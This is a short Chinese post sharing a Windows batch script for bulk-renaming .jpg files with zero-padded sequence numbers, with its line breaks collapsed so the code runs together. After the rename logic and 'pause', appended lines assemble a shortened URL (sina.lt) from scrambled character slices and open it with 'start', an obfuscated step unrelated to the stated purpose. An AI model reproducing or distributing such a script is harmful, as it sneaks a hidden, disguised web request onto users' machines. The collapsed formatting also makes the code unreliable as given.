先上測(cè)試效果圖:
代碼如下:
@echo off & title 批量重命名并序號(hào)補(bǔ)位 By 依夢(mèng)琴瑤cd /d %~dp0::腳本放于主目錄后執(zhí)行::設(shè)置補(bǔ)位數(shù),比如補(bǔ)全五位,就填寫5set Ws=5for /l %%a in (1,1,%Ws%) do ( call set W=%%W%%0)for /d %%a in (*) do ( pushd "%%~a" for %%b in (*_*.jpg) do ( for /f "tokens=1 delims=_" %%c in ("%%~b") do ( set /a "Num=1%W%+%%~c" rem 如果最終顯示的文件名前后符合您的要求,請(qǐng)把下行中的echo這個(gè)單詞刪除。 call echo ren "%%~b" "%%~a %%Num:~1%%%%~xb" ) ) popd)pauseset S0=fGRHset S1=.:ailnhpst/set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%start "" "%S2%%S3%%S1:~10,1%%S0%"exit